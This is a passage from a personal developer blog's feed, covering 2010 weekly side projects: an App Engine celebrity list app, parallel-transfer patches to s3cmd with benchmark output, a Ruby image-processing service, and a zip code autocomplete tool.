exceeded my initial expectations.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Challenges&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Internet Explorer is an &quot;insulting abortion of FAIL&quot; according to a friend of mine who I occasionally turn to for technical questions. I've got to say that I agree with him. I spent roughly 25% of the week dealing with IE specific javascript and styling issues.&lt;/li&gt;&lt;li&gt;Google Query Language, they say you get what you pay for. The query language has some quirks that make doing anything database heavy very difficult. For example say I want all of the db entries for celebrities where their name starts with &quot;Ann&quot; sorted by rank. A MySQL statement would look like this. &quot;SELECT * FROM Celebs WHERE name LIKE 'ann%' ORDER BY rank;&quot;. Unfortunately GQL doesn't have a like operator. So it becomes this &quot;SELECT * FROM Celebs WHERE name &amp;gt;= 'ann' &amp;amp;&amp;amp; name &amp;lt; 'anm';&quot;. Also you can't sort by a field that isn't used in an inequality operator and you can't have more than one field used with an inequality operator. Which means we can't order by rank. Not a big deal, it just means extra code to sort it yourself.&lt;/li&gt;&lt;li&gt;I had a lot of issues putting together a design that I thought looked good. I lack the CSS and layout skills necessary to even rip off other designs out there. Hopefully this becomes less of an issue over the next few months as I work on more web apps.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Features Missed&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A Facebook App was purposefully omitted since it didn't make sense and didn't integrate into facebook. I might expand the app later and turn the list into something more collaborative as a follow up project.&lt;/li&gt;&lt;li&gt;Google AdSense requires you enter in your URL to signup. Which I didn't have until I released the app last night. I've put in a request for review and should hopefully get approved Tuesday or Wednesday.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Celebrity Freebie List - Monday</title>
   <link href="https://blog.50projects.com/2010/08/celebrity-freebie-list-monday.html"/>
   <updated>2010-08-30T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/celebrity-freebie-list-monday</id>
   <content type="html">&lt;div class='post'&gt;
Abrupt change of course and time for something a little risqué. This week will be focused on a consumer facing product, specifically the celebrity list AKA freebie list AKA laminated list. For those not familiar, the list is short list of celebrities whom you are allowed to sleep with if given the opportunity. Originally made popular by an &lt;a href=&quot;http://www.friends-tv.org/zz305.html&quot;&gt;episode of Friends&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I'll be using Java (maybe Python) on &lt;a href=&quot;http://code.google.com/appengine/&quot;&gt;Google App Engine&lt;/a&gt; for this project. I've never used App Engine prior to this but it's free. And so far I've managed to avoid any hosting costs in my previous projects. The secondary benefit is it should run indefinitely without monitoring or maintenance. This seems particularly relevant since during initial research I stumbled on 3 facebook apps that did something similar to what I'm proposing. All of them threw an error on loading. Either they never worked or they have since been abandoned&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Build an application in Java or Python on Google App Engine to allow users to create and save their list of celebrity freebies.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Planned Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Auto-complete&lt;/li&gt;&lt;li&gt;Image search&lt;/li&gt;&lt;li&gt;Facebook app setup and integration&lt;/li&gt;&lt;li&gt;Post to social networks&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Monetization:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Google AdSense sign up and setup&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;If There's Time:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Port to either Java or Python for speed comparison&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>S3Cmd Modifications - Saturday</title>
   <link href="https://blog.50projects.com/2010/08/s3cmd-modifications-saturday.html"/>
   <updated>2010-08-28T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/s3cmd-modifications-saturday</id>
   <content type="html">&lt;div class='post'&gt;
Released! I finished up the last of the testing for parallel download and upload handling last night. Most of the time between when I actually got it working and now was spent adding in some error handling, debugging and modifying the display slightly. For the impatient the changes are available at &lt;a href=&quot;http://github.com/pcorliss/s3cmd-modification&quot;&gt;http://github.com/pcorliss/s3cmd-modification&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A few things that went better than expected&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The speed boost on uploads and downloads makes this patch a must have for anyone doing a lot of transfers to and from s3. Especially when lots of small files are involved. See my &lt;a href=&quot;http://blog.50projects.com/2010/08/s3cmd-modifications-thursday.html&quot;&gt;previous post&lt;/a&gt; for an example. I'm really happy it worked out as well as it did and the code looks pretty clean.&lt;/li&gt;&lt;li&gt;I was worried about the learning curve necessary but I think I picked Python up fairly quickly. There are a wealth of built-in classes that came in very handy. Additionally lots of documentation out there to get started fairly quickly.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Challenges&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Python's white-space sensitive syntax. 1-tab != 4 spaces, this came up very early in the process as I was getting familiar with python. I crave a language like Java where syntax is very explicit. Although the mandatory formatting makes things a lot more readable by default.&lt;/li&gt;&lt;li&gt;Still trying to find a decent IDE. &lt;a href=&quot;http://www.geany.org/%20&quot;&gt;Geany&lt;/a&gt; is interesting but I don't know if I'll stick with it.&lt;/li&gt;&lt;li&gt;Threading is always a bit of a pain. But trying to shoe-horn it into an established code base in a language you're looking at for the first time can be a challenge. Specifically handling exceptions within a thread and not having to kill it manually. Thankfully Python has some handy classes that made things a bit easier on me.&lt;/li&gt;&lt;li&gt;The original project had a progress report feature that used carriage returns to rewrite the display output line. This works great for sequential download process but simultaneous downloads output gibberish. I spent hours trying to replicate it with multiple threads and eventually just gave up and went with a simple file-started/file-finished output.&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Features Missed&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Splitting files automatically turned from seemingly simple to complex when I dived into the existing code. It would be possible but would require more modification than I was comfortable with.&lt;/li&gt;&lt;li&gt;I wasn't able to track down the issues with large bucket support like I had planned. Partially since I no longer have access to s3 buckets with millions of files.&lt;/li&gt;&lt;li&gt;The caching implementation I conceived of seemed a little sloppy and I ran out of time.&lt;/li&gt;&lt;/ul&gt;I forked the project and put it up on github if anyone is interested in downloading it and giving it a try. The patch to the current trunk version (r437) is also available there as well. Using it is as simple as using the original command. Except you have the --parallel option which enables my changes and the --workers=n option where you can specify how many workers to start when doing a transfer. These configuration options are now part of the .s3cfg file as well.&lt;br /&gt;&lt;a href=&quot;http://github.com/pcorliss/s3cmd-modification&quot;&gt;http://github.com/pcorliss/s3cmd-modification&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The &lt;a href=&quot;http://s3tools.org/s3tools&quot;&gt;original project&lt;/a&gt; is open source as is the patch. So download and use at will!&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>S3Cmd Modifications - Thursday</title>
   <link href="https://blog.50projects.com/2010/08/s3cmd-modifications-thursday.html"/>
   <updated>2010-08-26T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/s3cmd-modifications-thursday</id>
   <content type="html">&lt;div class='post'&gt;
Part of the work I've been doing with s3cmd is to add in a threading feature. This should speed up data transfers to s3 for data sets of more than a few files. I got this working on Tuesday and spent part of Wednesday refining it and expanding it such that output is what you would expect and adding some basic error handling. The results of some simple threading have been impressive so far. Anytime you can get an &lt;b&gt;8x&lt;/b&gt; speed boost I'd consider that a win. See below for the breakdown.&lt;br /&gt;&lt;br /&gt;A few challenges surrounding error handling have cropped up. I'll have to spend some extra time making sure they're handled properly and don't cause the program to hang. Also python's whitespace sensitivity and syntax is really starting to irritate me. Perhaps a framework like &lt;a href=&quot;http://www.djangoproject.com/&quot;&gt;Django&lt;/a&gt; will turn it around for me. But I have to say I'm not sure I'll want to go back once this week is over.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Generated 1000 16K files from random data.&lt;/b&gt;&lt;br /&gt;&lt;code&gt;pcorliss@hawaii:~/projects/s3cmd$ ls rand | wc -l&lt;br /&gt;1001&lt;br /&gt;pcorliss@hawaii:~/projects/s3cmd$ du -s rand&lt;br /&gt;16032&amp;nbsp;&amp;nbsp;&amp;nbsp; rand&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;s3cmd from ubuntu 10.04 repository&lt;/b&gt;&lt;br /&gt;&lt;code&gt;pcorliss@hawaii:~/projects/s3cmd$ time s3cmd put rand/* s3://50proj-test-bucket/rand/&lt;br /&gt;rand/0.out -&amp;gt; s3://50proj-test-bucket/rand/0.out&amp;nbsp; [1 of 1001]&lt;br /&gt;&amp;nbsp;16384 of 16384&amp;nbsp;&amp;nbsp; 100% in&amp;nbsp;&amp;nbsp;&amp;nbsp; 0s&amp;nbsp;&amp;nbsp;&amp;nbsp; 20.71 kB/s&amp;nbsp; done&lt;br /&gt;rand/1.out -&amp;gt; s3://50proj-test-bucket/rand/1.out&amp;nbsp; [2 of 1001]&lt;br /&gt;&amp;nbsp;16384 of 16384&amp;nbsp;&amp;nbsp; 100% in&amp;nbsp;&amp;nbsp;&amp;nbsp; 0s&amp;nbsp;&amp;nbsp;&amp;nbsp; 47.86 kB/s&amp;nbsp; done&lt;br /&gt;...&lt;br /&gt;real&amp;nbsp;&amp;nbsp;&amp;nbsp; 6m27.871s&lt;br /&gt;user&amp;nbsp;&amp;nbsp;&amp;nbsp; 0m2.400s&lt;br /&gt;sys&amp;nbsp;&amp;nbsp;&amp;nbsp; 0m0.810s&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;s3cmd trunk with threading modifications&lt;/b&gt;&lt;br /&gt;&lt;code&gt;pcorliss@hawaii:~/projects/s3cmd$ time ./source/s3cmd --parallel put rand/* s3://50proj-test-bucket/rand/&lt;br /&gt;File 'rand/1.out' stored as 's3://50proj-test-bucket/rand/1.out' (16384 bytes in 0.5 seconds, 31.49 kB/s) [2 of 1001]&lt;br /&gt;File 'rand/103.out' stored as 's3://50proj-test-bucket/rand/103.out' (16384 bytes in 0.5 seconds, 29.75 kB/s) [7 of 1001]&lt;br /&gt;File 'rand/104.out' stored as 's3://50proj-test-bucket/rand/104.out' (16384 bytes in 0.5 seconds, 29.58 kB/s) [8 of 1001]&lt;br /&gt;File 'rand/100.out' stored as 's3://50proj-test-bucket/rand/100.out' (16384 bytes in 0.5 seconds, 29.24 kB/s) [4 of 1001]&lt;br /&gt;...&lt;br /&gt;real&amp;nbsp;&amp;nbsp;&amp;nbsp; 0m47.216s&lt;br /&gt;user&amp;nbsp;&amp;nbsp;&amp;nbsp; 0m2.010s&lt;br /&gt;sys&amp;nbsp;&amp;nbsp;&amp;nbsp; 0m0.790s&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>S3Cmd Modifications - Tuesday</title>
   <link href="https://blog.50projects.com/2010/08/s3cmd-modifications-tuesday.html"/>
   <updated>2010-08-24T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/s3cmd-modifications-tuesday</id>
   <content type="html">&lt;div class='post'&gt;
Yesterday I had a lot of success breaking open the s3cmd structure and adding in an additional command line argument to modify the default root object of a cloud front object. By 4pm I had a patch all bundled up and ready to submit. Unfortunately the email I received this morning made my heart sink.&lt;br /&gt;&lt;blockquote&gt;Hey Phil, I've already done a patch for default root objects. See&lt;br /&gt;&lt;a href=&quot;http://sourceforge.net/mailarchive/forum.php?thread_name=4C691ACA.8060304%40logix.net.nz&amp;amp;forum_name=s3tools-general&quot;&gt;http://sourceforge.net/mailarchive...&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Luke&lt;/blockquote&gt;I took a look at the patch and I'm happy that at least he made the same changes I did line for line. In the meantime I'll be getting started on parallel downloads and uploads. I've done something similar with Perl in the past. So hopefully this goes smoothly and someone hasn't already submitted a patch to do the same thing.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>S3Cmd Modifications - Monday</title>
   <link href="https://blog.50projects.com/2010/08/s3cmd-modifications-monday.html"/>
   <updated>2010-08-23T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/s3cmd-modifications-monday</id>
   <content type="html">&lt;div class='post'&gt;
This week I'm going to work on one of the &lt;a href=&quot;http://blog.50projects.com/2010/08/intelligent-address-entry-released.html&quot;&gt;pain points&lt;/a&gt;&amp;nbsp;I ran into during the zip code project. Specifically &lt;a href=&quot;http://s3tools.org/&quot;&gt;s3cmd&lt;/a&gt;&amp;nbsp;lacks a few features that would be nice to have. After completion I'll see if the project owners are interested in integrating my changes back into the original product.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&amp;nbsp;&lt;/b&gt;Modify the s3cmd project to support new features and expand on old ones. Contribute modifications back to the community.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features&lt;/b&gt;&lt;ul&gt;&lt;li&gt;Cloudfront Default Root Object Support&lt;/li&gt;&lt;li&gt;Parralel Uploads and Downloads&lt;/li&gt;&lt;li&gt;Better support for very large buckets and files&lt;/li&gt;&lt;li&gt;Automatic file splitting and joining of large files (&amp;gt; 2Gb)&lt;/li&gt;&lt;li&gt;s3sync local caching&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;If There's Time&lt;/b&gt;&lt;ul&gt;&lt;li&gt;Look at the s3fuse project as well as s3cmd and see if that could be worked on.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Image Processing - Sunday</title>
   <link href="https://blog.50projects.com/2010/08/image-processing-sunday.html"/>
   <updated>2010-08-22T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/image-processing-sunday</id>
   <content type="html">&lt;div class='post'&gt;
Released! Looks like I'm cutting it close again and it's only the second week. Next week I'll have to work on something a little less ambitious (or maybe work a little harder). Since Friday I've added some documentation, put together the Amazon EC2 AMI (with Varnish) and reworked how the service gets started so that it's a little more performant.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;A few things that went better than expected. &lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ruby is a pretty fast language to get off the ground with. That's not to say there weren't challenges but by Wednesday and Thursday I was enjoying working with it. It makes my job a lot easier. &lt;/li&gt;&lt;li&gt;Multiple storage targets were implemented, I feel like this is a huge win for both me and anyone that uses the product. Not having to rely on just Amazon's S3 or your own disk and instead being able to specify both as a write targets is a major feature that sets this project apart from others.&lt;/li&gt;&lt;li&gt;This was my first open source project of any note. And the first commit to my github account. I'm pretty proud of giving back to the open source community. Hopefully my stuff gets used by a wide variety of people.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Challenges&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ruby's serving options are a bit limited. I had thought that Sinatra and Mongrel would be able to handle more than one simultaneous request since they were both thread safe. But I was wrong. I wasted 3 hours today trying to get it working only to be told by someone from the #sinatra channel on the freendoe IRC server that it wasn't going to happen. Major bummer. I don't understand how the ruby community tolerates having to duplicate their memory footprint for every simultaneous request they want to serve.&lt;/li&gt;&lt;li&gt;I had worked with Ruby before but never on one being built from scratch. Major hurdles over the first 3 days included getting an IDE setup (Netbeans, probably not going back) and figuring out basic project structure (what goes in lib, config versus staying in the root?). Hopefully future Ruby projects will have less lost time.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;b&gt;Features Missed&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;A lot of features were dropped for this release. I had a lot of big ideas about what I could do at the beginning but in the end I just ran out of time.&lt;/li&gt;&lt;li&gt;Security Audit - Didn't get a chance to do more than cursory input fuzzing. Looks like Sinatra does a good job of making sure folks don't insert bad stuff.&lt;/li&gt;&lt;li&gt;Better Error Handling - There are a few areas where error handling isn't done. And a few more where more verbose errors about what went wrong could be presented to the end user.&lt;/li&gt;&lt;li&gt;Admin Page - Had to fall back to just using a static YML file. Additionally about 1/3 of the configurable options I had been hoping for were cut. So not a major loss.&lt;/li&gt;&lt;li&gt;Sample Code - Never even got a chance to touch this. Thankfully it's a fairly straightforward web service. Folks should be able to spin it up and get it running relatively easily.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;It's open source so you can check it out from the following link.&lt;br /&gt;&lt;a href=&quot;http://github.com/pcorliss/SinMagick&quot;&gt;http://github.com/pcorliss/SinMagick&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you're interested in running this for your own business or personal use. You can &lt;a href=&quot;https://aws-portal.amazon.com/gp/aws/user/subscription/index.html?ie=UTF8&amp;amp;offeringCode=A7117626&quot;&gt;purchase the pre-configured AMI&lt;/a&gt;. ($50 - Amazon will require you to login first and confirm the purchase)&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Image Processing - Friday</title>
   <link href="https://blog.50projects.com/2010/08/image-processing-friday.html"/>
   <updated>2010-08-20T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/image-processing-friday</id>
   <content type="html">&lt;div class='post'&gt;
It's been a long five days. Every time I considered writing an update I realized how far behind I was and decided to crank out some code instead. It looks like it paid off too. I have a functioning &lt;a href=&quot;http://www.sinatrarb.com/&quot;&gt;Sinatra&lt;/a&gt; application which I've named &lt;a href=&quot;http://github.com/pcorliss/SinMagick&quot;&gt;SinMagick&lt;/a&gt;. I've even uploaded the initial source checkout to &lt;a href=&quot;http://github.com/pcorliss/SinMagick&quot;&gt;github&lt;/a&gt;. I'll be following it up with a few bug fixes, documentation and tests. More details to follow on Saturday and Sunday when I wrap up the last few items on the ToDo list below.&lt;br /&gt;&lt;br /&gt;Check out the final feature list below as well as some screen shots of the app in action below.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features&lt;/b&gt;&lt;br /&gt;File and URL Uploading via standard POST&lt;br /&gt;Storage to multiple locations (S3 and local disk)&lt;br /&gt;Support for Redundant Storage with configurable priorities&lt;br /&gt;Scaling, cropping, rotation, grayscale, format changes&lt;br /&gt;Caching of transformed images &lt;br /&gt;Image efficiency calculator (Determines whether PNGs should be JPGs instead)&lt;br /&gt;Easily add other transforms&lt;br /&gt;Open Source&lt;br /&gt;Scalable&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ToDo&lt;/b&gt;&lt;br /&gt;Documentation&lt;br /&gt;Tests&lt;br /&gt;EC2 AMI Setup&lt;br /&gt;Load Testing &lt;br /&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;5&quot; cellspacing=&quot;5&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TG9UqJVDrMI/AAAAAAAAAA8/tyf3mXFA7SM/s1600/SinMagick+Upload+-+Google+Chrome_002.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;144&quot; src=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TG9UqJVDrMI/AAAAAAAAAA8/tyf3mXFA7SM/s200/SinMagick+Upload+-+Google+Chrome_002.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TG9Un378sFI/AAAAAAAAAA0/UnWp9BzNeIw/s1600/image.hawaii.50projects.com:9292-upload-url+-+Google+Chrome_004.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;144&quot; src=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TG9Un378sFI/AAAAAAAAAA0/UnWp9BzNeIw/s200/image.hawaii.50projects.com:9292-upload-url+-+Google+Chrome_004.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;File Uploader for Diagnostics&lt;/td&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Uploaded File&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TG9UlgXBBdI/AAAAAAAAAAs/SI77P2MjOls/s1600/Pembroke_Welsh_Corgi_600.jpg+%28600%C3%97470%29+-+Google+Chrome_005.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;135&quot; src=&quot;http://1.bp.blogspot.com/_nR-AKoVjo_4/TG9UlgXBBdI/AAAAAAAAAAs/SI77P2MjOls/s200/Pembroke_Welsh_Corgi_600.jpg+%28600%C3%97470%29+-+Google+Chrome_005.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_nR-AKoVjo_4/TG9UeHOUDgI/AAAAAAAAAAk/eGiowETHdc0/s1600/Pembroke_Welsh_Corgi_600.jpg+%28400%C3%97400%29+-+Google+Chrome_007.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;135&quot; src=&quot;http://2.bp.blogspot.com/_nR-AKoVjo_4/TG9UeHOUDgI/AAAAAAAAAAk/eGiowETHdc0/s200/Pembroke_Welsh_Corgi_600.jpg+%28400%C3%97400%29+-+Google+Chrome_007.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Raw Image Output&lt;/td&gt; &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Transformed Image&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Photo Obtained from &lt;a href=&quot;http://en.wikipedia.org/wiki/File:Pembroke_Welsh_Corgi_600.jpg&quot;&gt;Wikipedia&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-size: xx-small;&quot;&gt;Creative Commons Attribution ShareAlike 3.0&lt;/span&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Image Processing - Monday</title>
   <link href="https://blog.50projects.com/2010/08/image-processing-monday.html"/>
   <updated>2010-08-16T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/image-processing-monday</id>
   <content type="html">&lt;div class='post'&gt;
It's time for a meat and potatoes, backend project. The first project was designed to be small and contained but it still took me until Saturday to finish it. This week I'll be taking on something much more ambitious. Prior to 50projects I worked at a number of companies that handled images in various capacities so the concept isn't entirely new. This service will be similar in a few respects, notably that it will transform images, it will use &lt;a href=&quot;http://www.imagemagick.org/&quot;&gt;ImageMagick&lt;/a&gt; libraries to do so and it will optionally use Amazon S3 to store images. However this will be an entirely new product using unique ideas conceived of separately from previous work environments. In other words please don't sue me. &lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary: &lt;/b&gt;A web service to handle image transforms, storage and caching of images for use by web sites.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://www.jmagick.org/index.html&quot;&gt;jMagick&lt;/a&gt; versus &lt;a href=&quot;http://rmagick.rubyforge.org/&quot;&gt;rMagick&lt;/a&gt; comparison - which is faster&lt;/li&gt;&lt;li&gt;Upload original Images&lt;/li&gt;&lt;li&gt;Download transformed Images&lt;/li&gt;&lt;li&gt;Admin page to configure parameters&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://varnish-cache.org/&quot;&gt;Varnish&lt;/a&gt; caching for faster serving&lt;/li&gt;&lt;li&gt;Source code on GitHub&lt;/li&gt;&lt;li&gt;Sample code for integration&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Monetization Features&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;32-bit and 64-bit versions on amazon's AMI marketplace &lt;/li&gt;&lt;/ul&gt;&lt;b&gt;If There's Time&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;http://aws.amazon.com/sqs/&quot;&gt;SQS&lt;/a&gt; for large scale distributed processing&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Intelligent Address Entry - Released - Saturday</title>
   <link href="https://blog.50projects.com/2010/08/intelligent-address-entry-released.html"/>
   <updated>2010-08-14T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/intelligent-address-entry-released</id>
   <content type="html">&lt;div class='post'&gt;
Just finished up the last revision to the demo scripts and attached an amazon payments link for commercial licenses. Since Thursday I've cleaned up the error handling (Thanks JB!), tested it for compatibility with all major browsers past and present and connected the data backend to Amazon's Cloud Front CDN for faster loading. The CDN setup was more experimental than necessary. But the incremental cost should be trivial for now.&lt;br /&gt;&lt;br /&gt;Items that I'm glad I touched on and will definitely come in handy in the future included jQuery, Amazon Cloud Front and Amazon Simple Pay. I'm certain these will be used multiple times in the future.&lt;br /&gt;&lt;br /&gt;One item turned out to be challenges that I didn't expect. Setting Amazon's Cloud Front default root object is a pain with the current tools available. I ended up using a development build of a &lt;a href=&quot;http://code.google.com/p/boto/&quot;&gt;3rd party python library&lt;/a&gt; to set the parameter. As Amazon's Management Console doesn't have a setting exposed.&lt;br /&gt;&lt;br /&gt;A couple of features didn't end up getting built. For starters this didn't turn into a JavaScript library like I had intended on Monday. I provided a demo for folks to get started on integrating this into their own products but the demo didn't really include any original code.&lt;br /&gt;&lt;br /&gt;Another item that didn't go as planned was global address storage via cookie for users. The more I thought about it the more I realized what a giant privacy mess it could turn into. The work put into it was abandoned shortly thereafter.&lt;br /&gt;&lt;br /&gt;The final scripts, data and implementation details are below. As well as a payment link for commercial use. If you have an questions please direct them to me at &lt;A href=&quot;mailto:pcorliss@50projects.com&quot;&gt;pcorliss@50projects.com&lt;/A&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=0 src =&quot;http://zip.50projects.com&quot; width=&quot;100%&quot; height=&quot;300&quot;&gt;&lt;br /&gt;&lt;p&gt;Looks like the iframe isn't working. You can go here instead &lt;a href=&quot;http://zip.50projects.com&quot;&gt;http://zip.50projects.com&lt;/a&gt;&lt;/p&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://zip.50projects.com&quot;&gt;http://zip.50projects.com&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Intelligent Address Entry - Thursday</title>
   <link href="https://blog.50projects.com/2010/08/zip-code-auto-completion-demo.html"/>
   <updated>2010-08-12T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/zip-code-auto-completion-demo</id>
   <content type="html">&lt;div class='post'&gt;
This portion took a little longer than expected due to some issues with getting the last pieces of furniture around the new apartment delivered and installed. But I'm pretty happy with how it turned out. I used &lt;a href=&quot;http://jquery.com/&quot;&gt;jQuery&lt;/a&gt; for the jsonp requests and &lt;a href=&quot;http://jqueryui.com/&quot;&gt;jQuery UI&lt;/a&gt; for the auto complete feature.&lt;br /&gt;&lt;br /&gt;I'll be refining it today and tomorrow with a release target of Friday night. &lt;br /&gt;&lt;br /&gt;&lt;iframe frameborder=0 src =&quot;http://zip.50projects.com&quot; width=&quot;100%&quot; height=&quot;300&quot;&gt;&lt;br /&gt;&lt;p&gt;Looks like the iframe isn't working. You can go here instead &lt;a href=&quot;http://zip.50projects.com/zipcode_auto.html&quot;&gt;http://zip.50projects.com&lt;/a&gt;&lt;/p&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Intelligent Address Entry - Tuesday</title>
   <link href="https://blog.50projects.com/2010/08/intelligent-address-entry-tuesday.html"/>
   <updated>2010-08-10T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/08/intelligent-address-entry-tuesday</id>
   <content type="html">&lt;div class='post'&gt;
Yesterday I found that the zip code database isn't very accessible and the first hurdle was going to be just obtaining it. After some digging around I found that this data could be extracted via a 10 year old Census database, various private companies, from the USPS on a CD and also via a one-shot lookup tool on the USPS website. Not quite sure why they don't just make the entire database available in it's raw form. Regardless I wrote a small script to automate the data collection via the web form and parse the output. It took about 11 hours to extract all zip codes (55457 zip code and city pairs). I've provided a link to the list below as well as the quick scripts to extract and parse the data from the USPS website. The extraction script could run quite a bit faster by making the requests in parralel. I just didn't see a reason to hammer the USPS website and I wasn't in a rush.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://50proj-public.s3.amazonaws.com/zipcode/allzips.txt&quot;&gt;Zip Code City pairs as of (2010-08-09)&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://50proj-public.s3.amazonaws.com/zipcode/collect.sh&quot;&gt;Simple Shell Script using curl to connect to USPS site&lt;/a&gt;&lt;br /&gt;&lt;a 